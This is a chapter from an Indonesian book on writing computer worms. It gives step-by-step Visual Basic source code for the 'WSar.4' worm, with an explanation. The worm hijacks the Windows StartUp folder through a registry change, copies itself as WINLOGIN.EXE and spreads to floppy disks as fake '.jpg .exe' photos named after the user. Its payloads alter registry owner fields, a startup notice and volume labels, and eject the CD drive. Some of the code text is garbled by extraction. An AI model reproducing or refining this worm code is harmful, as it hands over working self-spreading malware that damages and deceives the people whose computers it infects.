• Tidak ada hasil yang ditemukan

W

orm ini bernama WSar.4 (worm dasar 4), memiliki trik launcher yang hingga buku ini selesai ditulis belum pernah digunakan worm manapun. Dengan cara memanipulasi registry, worm memindahkan direktori StartUp kesuatu lokasi tertentu dan membuat salinan dirinya pada direktori tersebut.

Saat Windows startup, setiap file yang ada termasuk file worm ikut tereksekusi tanpa user menyadari karena direktori StartUp default yang dapat terlihat pada Startmenu tidak akan menunjukan adanya perubahan atau pertambahan suatu file.

Worm ini sedikit lebih kreatif karena membuat nama file salinan dengan menyertakan nama user aktif dan banyak menggunakan function API.

10.1 ALGORITMA

WSar.4 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer

2. Kemudian worm mengubah nilai suatu registry untuk memanipu-lasi lokasi direktori StartUp default ke suatu lokasi direktori tertentu lainnya. Kemudian worm akan melakukan reproduksi dengan men-ciptakan salinan dirinya pada direktori StartUp yang baru tersebut

Bab 10. Worm WSar.4

3. Setiap 1 menit akan berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak 4. Dampak lain yang ditimbulkan adalah jika jam dan menit memiliki

nilai yang sama maka secara otomatis system akan membuka dan menutup CD rom drive sebanyak 3 kali. Kesempatan terjadi adalah sekali setiap jamnya

5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.4 Ada Pada Komputer Anda", kemudian melakukan beberapa manipulasi yang bersifat tidak penting dan terkesan "pamer" tetapi hal ini sudah menjadi kebiasaan worm lokal di Indonesia, seperti mengubah nama user dan perusahaan terdaftar, mengubah volume label pada harddisk atau menampilkan pesan tertentu setiap kali Windows startup.

10.2 PEMROGRAMAN

Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.4’

Tambahkan 2 buah object Timer, 1 buah object TextBox dan 2 buah Module. Kemudian atur properti berikut untuk masing-masing Timer, TextBox, Form dan Module.

Properti object Form1

Jenis Nilai Keterangan

Name frmWSar4 Mengatur nama form menjadi frmWSar4

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.4 menggunakan icon jpgicon.ico ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

BorderStyle None Tidak memberikan garis tepi pada form ControlBox False Tidak menggunakan control box

Bab 10 Worm WSar.4

Properti object Timer1

Jenis Nilai Keterangan

Name tmrWSar4 Mengatur nama Timer menjadi tmrWSar4 Enable True Pastikan Timer akan aktif saat form di-load Interval 60000 Setiap instruksi pada procedure Timer akan

dieksekusi setiap 1 menit

Properti object Timer2

Jenis Nilai Keterangan

Name tmrIseng Mengatur nama Timer menjadi tmrIseng Enable True Pastikan Timer akan aktif saat form di-load Interval 60000 Setiap instruksi pada procedure Timer akan

dieksekusi setiap 1 menit

Properti object Text1

Jenis Nilai Keterangan

Name txtName Mengatur nama TextBox menjadi txtName

Properti Module1

Jenis Nilai Keterangan

Name mdlNameLogon Mengatur nama module menjadi mdl-NameLogon

Properti Module2

Jenis Nilai Keterangan

Name mdlRegistryAPI Mengatur nama module menjadi mdlRegistryAPI

Bab 10. Worm WSar.4

Ketik kode program berikut ini pada module mdlNameLogon:

Declare Function GetUserName Lib "advapi32.dll" Alias _ "GetUserNameA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long

Function NameLogon() Dim s As String Dim cnt As Long Dim dl As Long Dim CurUser As String cnt = 199

s = String$(200, 0) dl = GetUserName(s, cnt)

If dl <> 0 Then CurUser = Left$(s, cnt) Else : CurUser = "" NameLogon = CurUser

End Function

Ketik kode program berikut ini pada module mdlRegistryAPI: Type FILETIME

lLowDateTime As Long lHighDateTime As Long End Type

Declare Function RegDeleteValue Lib "advapi32.dll" Alias _ "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _ As String) As Long

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias _ "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal ulOptions As Long, ByVal samDesired As Long, _ ByVal phkResult As Long) As Long

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _ Long) As Long

Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal phkResult As Long) As Long

Declare Function RegDeleteKey Lib "advapi32.dll" Alias _ "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String) As Long

Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal _

lpValueName As String, ByVal lpReserved As Long, ByVal lpType As _ Long, ByVal lpData As String, ByVal lpcbData As Long) As Long Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal _

lpReserved As Long, ByVal lpType As Long, ByRef lpData As Long, _ ByVal lpcbData As Long) As Long

Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByVal lpData As String, ByVal cbData As Long) As Long

Bab 10 Worm WSar.4 hKey As Long, ByVal lpValueName As String, ByVal Reserved _

As Long, ByVal dwType As Long, ByRef lpData As Long, _ ByVal cbData As Long) As Long

Declare Function RegSetValueExB Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByRef lpData As Byte, ByVal cbData As Long) As Long

Public Declare Function RegReplaceKey Lib "advapi32.dll" Alias _ "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal lpNewFile As String, ByVal lpOldFile As String) _ As Long

Const ERROR_SUCCESS = 0& Const ERROR_BADDB = 1009& Const ERROR_BADKEY = 1010& Const ERROR_CANTOPEN = 1011& Const ERROR_CANTREAD = 1012& Const ERROR_CANTWRITE = 1013& Const ERROR_OUTOFMEMORY = 14& Const ERROR_INVALID_PARAMETER = 87& Const ERROR_ACCESS_DENIED = 5& Const ERROR_NO_MORE_ITEMS = 259& Const ERROR_MORE_DATA = 234& Const REG_NONE = 0&

Const REG_SZ = 1& Const REG_EXPAND_SZ = 2& Const REG_BINARY = 3& Const REG_DWORD = 4&

Const REG_DWORD_LITTLE_ENDIAN = 4& Const REG_DWORD_BIG_ENDIAN = 5& Const REG_LINK = 6&

Const REG_MULTI_SZ = 7& Const REG_RESOURCE_LIST = 8&

Const REG_FULL_RESOURCE_DESCRIPTOR = 9& Const REG_RESOURCE_REQUIREMENTS_LIST = 10& Const KEY_QUERY_VALUE = &H1&

Const KEY_SET_VALUE = &H2& Const KEY_CREATE_SUB_KEY = &H4& Const KEY_ENUMERATE_SUB_KEYS = &H8& Const KEY_NOTIFY = &H10&

Const KEY_CREATE_LINK = &H20& Const READ_CONTROL = &H20000 Const WRITE_DAC = &H40000 Const WRITE_OWNER = &H80000 Const SYNCHRONIZE = &H100000

Const STANDARD_RIGHTS_REQUIRED = &HF0000 Const STANDARD_RIGHTS_READ = READ_CONTROL Const STANDARD_RIGHTS_WRITE = READ_CONTROL Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL Const KEY_READ = STANDARD_RIGHTS_READ Or _ KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _ Or KEY_NOTIFY

Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or _ KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Const KEY_EXECUTE = KEY_READ

Bab 10. Worm WSar.4

Dim hKey As Long, MainKeyHandle As Long

Dim rtn As Long, lBuffer As Long, sBuffer As String Dim lBufferSize As Long

Dim lDataSize As Long Dim ByteArray() As Byte Const DisplayErrorMsg = False

Function SetDWORDValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As Long)

Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey)

If rtn = ERROR_SUCCESS Then

rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4) If Not rtn = ERROR_SUCCESS Then

If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If

rtn = RegCloseKey(hKey) Else

If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If End If End Function

Public Function DeleteKeyValue(ByVal sKeyName As String, _ ByVal sValueName As String)

DeleteKeyValue = False Dim hKey As Long

Call ParseKey(sKeyName, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _ KEY_WRITE, hKey) If (rtn = ERROR_SUCCESS) Then rtn = RegDeleteValue(hKey, sValueName) If (rtn <> ERROR_SUCCESS) Then Else DeleteKeyValue = True End If rtn = RegCloseKey(hKey) End If End If End Function

Bab 10 Worm WSar.4 Function GetDWORDValue(ByVal SubKey As String, ByVal Entry As String)

Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey)

If rtn = ERROR_SUCCESS Then

rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4) If rtn = ERROR_SUCCESS Then

rtn = RegCloseKey(hKey) GetDWORDValue = lBuffer Else

GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If Else

GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If End If End Function

Function SetBinaryValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String)

Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then lDataSize = Len(value) ReDim ByteArray(lDataSize) For i = 1 To lDataSize ByteArray(i) = Asc(Mid$(value, i, 1)) Next

rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _ ByteArray(1), lDataSize)

If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If

rtn = RegCloseKey(hKey) Else

If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If End If End Function

Bab 10. Worm WSar.4

Function GetBinaryValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey)

If rtn = ERROR_SUCCESS Then lBufferSize = 1

rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _ lBufferSize)

sBuffer = Space(lBufferSize)

rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetBinaryValue = sBuffer Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If Else

GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If End If End Function

Function DeleteKey(ByVal Keyname As String) Call ParseKey(Keyname, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _ KEY_WRITE, hKey) If rtn = ERROR_SUCCESS Then rtn = RegDeleteKey(hKey, Keyname) rtn = RegCloseKey(hKey) End If End If End Function

Function GetMainKeyHandle(ByVal MainKeyName As String) As Long Const HKEY_CLASSES_ROOT = &H80000000

Const HKEY_CURRENT_USER = &H80000001 Const HKEY_LOCAL_MACHINE = &H80000002 Const HKEY_USERS = &H80000003

Const HKEY_PERFORMANCE_DATA = &H80000004 Const HKEY_CURRENT_CONFIG = &H80000005 Const HKEY_DYN_DATA = &H80000006 Select Case MainKeyName

Case "HKEY_CLASSES_ROOT"

GetMainKeyHandle = HKEY_CLASSES_ROOT Case "HKEY_CURRENT_USER"

Bab 10 Worm WSar.4 Case "HKEY_LOCAL_MACHINE" GetMainKeyHandle = HKEY_LOCAL_MACHINE Case "HKEY_USERS" GetMainKeyHandle = HKEY_USERS Case "HKEY_PERFORMANCE_DATA" GetMainKeyHandle = HKEY_PERFORMANCE_DATA Case "HKEY_CURRENT_CONFIG" GetMainKeyHandle = HKEY_CURRENT_CONFIG Case "HKEY_DYN_DATA" GetMainKeyHandle = HKEY_DYN_DATA End Select End Function

Function ErrorMsg(ByVal lErrorCode As Long) As String Select Case lErrorCode

Case 1009, 1015

GetErrorMsg = "The Registry Database is corrupt!" Case 2, 1010

GetErrorMsg = "Bad Key Name" Case 1011

GetErrorMsg = "Can’t Open Key" Case 4, 1012

GetErrorMsg = "Can’t Read Key" Case 5

GetErrorMsg = "Access to this key is denied" Case 1013

GetErrorMsg = "Can’t Write Key" Case 8, 14

GetErrorMsg = "Out of memory" Case 87

GetErrorMsg = "Invalid Parameter" Case 234

GetErrorMsg = "There is more data than the buffer has been " & _ "allocated to hold."

Case Else

GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode) End Select

End Function

Function GetStringValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle)

If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey)

If rtn = ERROR_SUCCESS Then sBuffer = Space(255) lBufferSize = Len(sBuffer)

rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _ lBufferSize)

If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) sBuffer = Trim(sBuffer)

GetStringValue = Left(sBuffer, Len(sBuffer) - 1) Else

Bab 10. Worm WSar.4

GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If Else

GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If End If End Function

Private Sub ParseKey(ByVal Keyname As String, ByVal Keyhandle As Long) rtn = InStr(Keyname, "\")

If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then MsgBox("Incorrect Format:" + Chr(10) + Chr(10) + Keyname) Exit Sub ElseIf rtn = 0 Then Keyhandle = GetMainKeyHandle(Keyname) Keyname = "" Else Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) Keyname = Right(Keyname, Len(Keyname) - rtn) End If

End Sub

Function CreateKey(ByVal SubKey As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then

rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) If rtn = ERROR_SUCCESS Then

rtn = RegCloseKey(hKey) End If

End If End Function

Function SetStringValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String)

Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey)

If rtn = ERROR_SUCCESS Then

rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _ Len(value))

If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If

End If

rtn = RegCloseKey(hKey) Else

Bab 10 Worm WSar.4 End If

End If End If End Function

Public Function hex2ascii(ByVal hextext As String) As String On Error Resume Next

Dim Y As Integer Dim num As String Dim value As String For Y = 1 To Len(hextext) num = Mid(hextext, Y, 2)

value = value & Chr(Val("&h" & num)) Y = Y + 1

Next Y

hex2ascii = value End Function

Function SetHexValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String)

SetBinaryValue(SubKey, Entry, hex2ascii(value)) End Function

Ketik kode program berikut ini pada object frmWSar4:

'WSar.4 by Achmad Darmal

'Tarakan, Kalimantan Timur - Indonesia Option Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long

Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long

Private SF As String * 255

Private Declare Function mciSendString Lib "winmm.dll" Alias _ "mciSendStringA" (ByVal lpstrCommand As String, ByVal _ lpstrReturnString As String, ByVal uReturnLength As Long, _ ByVal hwndCallback As Long) As Long

Private Declare Function SetVolumeLabel Lib "kernel32" Alias _ "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal _ lpVolumeName As String) As Long

Private Sub Form_Load()

If App.PrevInstance = True Then End Call InfectSystem()

Call InfectFloppy()

If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me)

End If End Sub

Bab 10. Worm WSar.4

Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String

MainFolder = SpecialFolder(0) & "\Config\StartUp" MkDir(MainFolder)

FileCopy(WormFile, MainFolder & "\" & "WINLOGIN.EXE")

SetStringValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr" & _ "entVersion\Explorer\User Shell Folders", "Startup", MainFolder) SetAttr(MainFolder & "\" & "WINLOGIN.EXE", vbReadOnly)

End Sub

Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim Nama As String

txtName.Text = Trim$(NameLogon) Nama = LCase(txtName.Text) Dim NamaCantik(10) As String

NamaCantik(0) = "foto seksi " & Nama & ".jpg .exe" NamaCantik(1) = "foto birahi " & Nama & ".jpg .exe" NamaCantik(2) = "foto pacar baru " & Nama & ".jpg .exe" NamaCantik(3) = "foto khusus dewasa.jpg .exe"

NamaCantik(4) = "foto tuyul.jpg .exe" NamaCantik(5) = "foto dedemit.jpg .exe" NamaCantik(6) = "foto setan kuburan.jpg .exe" NamaCantik(7) = "foto hantu pocong.jpg .exe" NamaCantik(8) = "foto wewek gombel.jpg .exe" NamaCantik(9) = "foto kuntilanak.jpg .exe" Randomize()

Acak = Int(Rnd * 10)

If Len(Dir$("A:\*.jpg .exe")) = 0 Then

FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If

End Sub

Function SpecialFolder(ByVal value) On Error Resume Next

Dim FolderValue As String If value = 0 Then

FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If

If value = 1 Then

FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If

If Right(FolderValue, 1) = "\" Then

FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If

SpecialFolder = FolderValue End Function

Private Function SetLabel(ByVal RootName As String, ByVal NewLabel _ As String)

If RootName = "" Then Exit Function End If

Bab 10 Worm WSar.4 Private Sub PayLoad()

On Error Resume Next

MsgBox("WSar.4 Ada Pada Komputer Anda", vbExclamation) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOwner", "LIGHT " & _ "DEVIL")

SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _

"ft\Windows\CurrentVersion", "RegisteredOrganization", "IN" & _ "DONESIAN WORM WRITER ASSOCIATION")

SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _

"ft\Windows\CurrentVersion", "LocalNoticeCaption", "INDO" & _ "NESIAN WORM WRITER ASSOCIATION")

SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _

"ft\Windows\CurrentVersion", "LegalNoticeText", "Kompute" & _ "r Anda terinfeksi oleh WSar.4 kunjungi site berikut untuk me" & _ "ndapatkan manual cara menghapusnya www.iwwa.co.id")

SetLabel("C:\", "Light Devil") SetLabel("D:\", "WSar Exist") End Sub

Private Sub tmrIseng_Timer() On Error Resume Next Dim DoorOpen As Boolean Dim i As Integer

If Hour(Now) = Minute(Now) Then GoTo Iseng Else : GoTo Selesai Iseng:

mciSendString("close all", 0, 0, 0)

mciSendString("open cdaudio alias cd wait shareable", 0, 0, 0) mciSendString("set cd time format tmsf wait", 0, 0, 0)

For i = 1 To 3

mciSendString("set cd door open", 0, 0, 0) DoorOpen = True

If DoorOpen = True Then

mciSendString("set cd door closed", 0, 0, 0) DoorOpen = False

End If Next i Selesai: End Sub

Private Sub tmrWSar4_Timer() On Error Resume Next Call InfectFloppy()

If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()

Unload(Me) End If End Sub

Private Function WormFile() Dim WPath, WName As String WPath = App.Path

If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If

WName = App.EXEName & ".exe" WormFile = WPath & WName

Bab 10. Worm WSar.4

Berikut penjelasan tentang kode program :

Diawali dengan beberapa pendeklarasian function API, masing-masing memiliki tugas untuk mendapatkan direktori Windows dan direktori System Windows dari library kernel32, kemudian function pengiriman string dari library winmm.dll yang digunakan untuk memberikan instruksi pada cd drive, dan function API untuk mengatur volume label pada drive harddisk dari library kernel32.

Diawali dengan procedure Form_Load yang akan memastikan file utama tidak tereksekusi lebih dari satu kali, kemudian memanggil procedure InfectSystem, procedure InfectFloppy dan akan segera mengakhiri program apabila file utama berada pada disket.

Procedure InfectSystem akan membuat suatu direktori baru bernama 'StartUp’ di dalam direktori [windows directory]\Config kemudian membuat salinan file utama ke direktori tersebut dengan nama file "WINLOGIN.EXE".

Procedure ini juga memanggil function yang berada pada module mdlRegistryAPI untuk memanipulasi registry dengan tujuan mengubah lokasi direktori StartUp pada Windows. Terakhir procedure mengatur atribut file "WINLOGIN.EXE" menjadi Read only.

Procedure InfectFloppy mengatur nilai properti Text pada txtName menjadi nama user aktif yang didapatkan dari function NameLogon, kemudian mengatur nilai variabel Nama dengan nilai txtName yang di-trim dan dalam bentuk huruf kecil.

Procedure kemudian membuat array sebanyak 10 data yang akan menjadi nama file worm, juga menyertakan nama user aktif sebagai bagian dari nama file worm tersebut. Sebagai contoh, jika nama user aktif adalah 'Komeng’ maka worm akan membuat file dengan nama "foto seksi komeng.jpg .exe", "foto birahi komeng.jpg .exe", "foto pacar baru komeng.jpg .exe". Hal ini merupakan salah satu upaya social engineering yang terbukti sangat efektif .

Selanjutnya worm berusaha mencari file yang berakhiran ".jpg .exe" pada disket, jika file tidak ditemukan maka worm akan membuat salinan file utama dengan menggunakan salah satu nama file tersebut ke disket yang diambil secara acak.

Bab 10 Worm WSar.4

Function SpecialFolder dan function SetLabel memanfaatkan function API yang telah dideklarasikan sebelumnya, dengan tujuan untuk mempermudah dan membuat formula menjadi lebih sederhana, hingga dapat digunakan berulang kali pada procedure yang berbeda.

Untuk mendapatkan lokasi direktori Windows dapat menggunakan instruksi: SpecialFolder(0) atau SpecialFolder(1) untuk mendapatkan direktori System Windows. Untuk memanipulasi volume label drive C pada harddisk menjadi "Apaan Tuuh", maka dapat menggunakan instruksi berikut: SetLabel "C:\", "Apaan Tuuh"

Procedure PayLoad pada worm ini termasuk payload beresiko rendah, selain menampilkan pesan "WSar.4 Ada Pada Komputer Anda" worm juga memanipulasi registry dengan mengubah konfigurasi registered owner menjadi "LIGHT DEVIL" dan registered organization menjadi

"INDONESIAN WORM WRITER ASSOCIATION".

Worm mengatur agar sebuah kotak pesan tampil setiap kali Windows startup dengan tulisan "Komputer Anda terinfeksi oleh WSar.4 kun-jungi site berikut untuk mendapatkan manual cara menghapusnya www.iwwa.co.id".

Terakhir worm memanipulasi volume label harddisk pada drive C menjadi "Light Devil" dan drive D menjadi "WSar Exist", jika ternyata komputer terinfeksi tidak memiliki drive D maka secara sederhana worm menggunakan statement On Error Resume Next untuk menga-tasinya.

Procedure tmrIseng_Timer memiliki instruksi yang akan bekerja apabila jam dan menit menunjukan nilai yang sama misalnya jam 09:09 atau 15:15. Instruksi yang akan dikerjakan adalah membuka dan menutup CD drive sebanyak 3 kali.

Sedangkan procedure tmrWSar4_Timer secara berkesinambungan akan memanggil procedure InfectFloppy dan akan memanggil procedure PayLoad apabila tanggal menunjukkan 13 Oktober setiap tahunnya. Sedangkan dua module bernama mdlNameLogon dan mdlRegistryAPI masing-masing membuat suatu function dari pendeklarasian beberapa function API yang berguna untuk mendapatkan nama user aktif dan mempermudah pengelolaan registry seperti membuat, membaca dan menghapus key atau value pada registry, module yang akan sangat berguna untuk pengembangan program aplikasi apa saja, sehingga sangat disarankan untuk menyimpan module tersebut.

Bab 11 Worm WSar.5

BAB 11

Dalam dokumen Computer Worm 1 secret of underground coding (Halaman 150-166)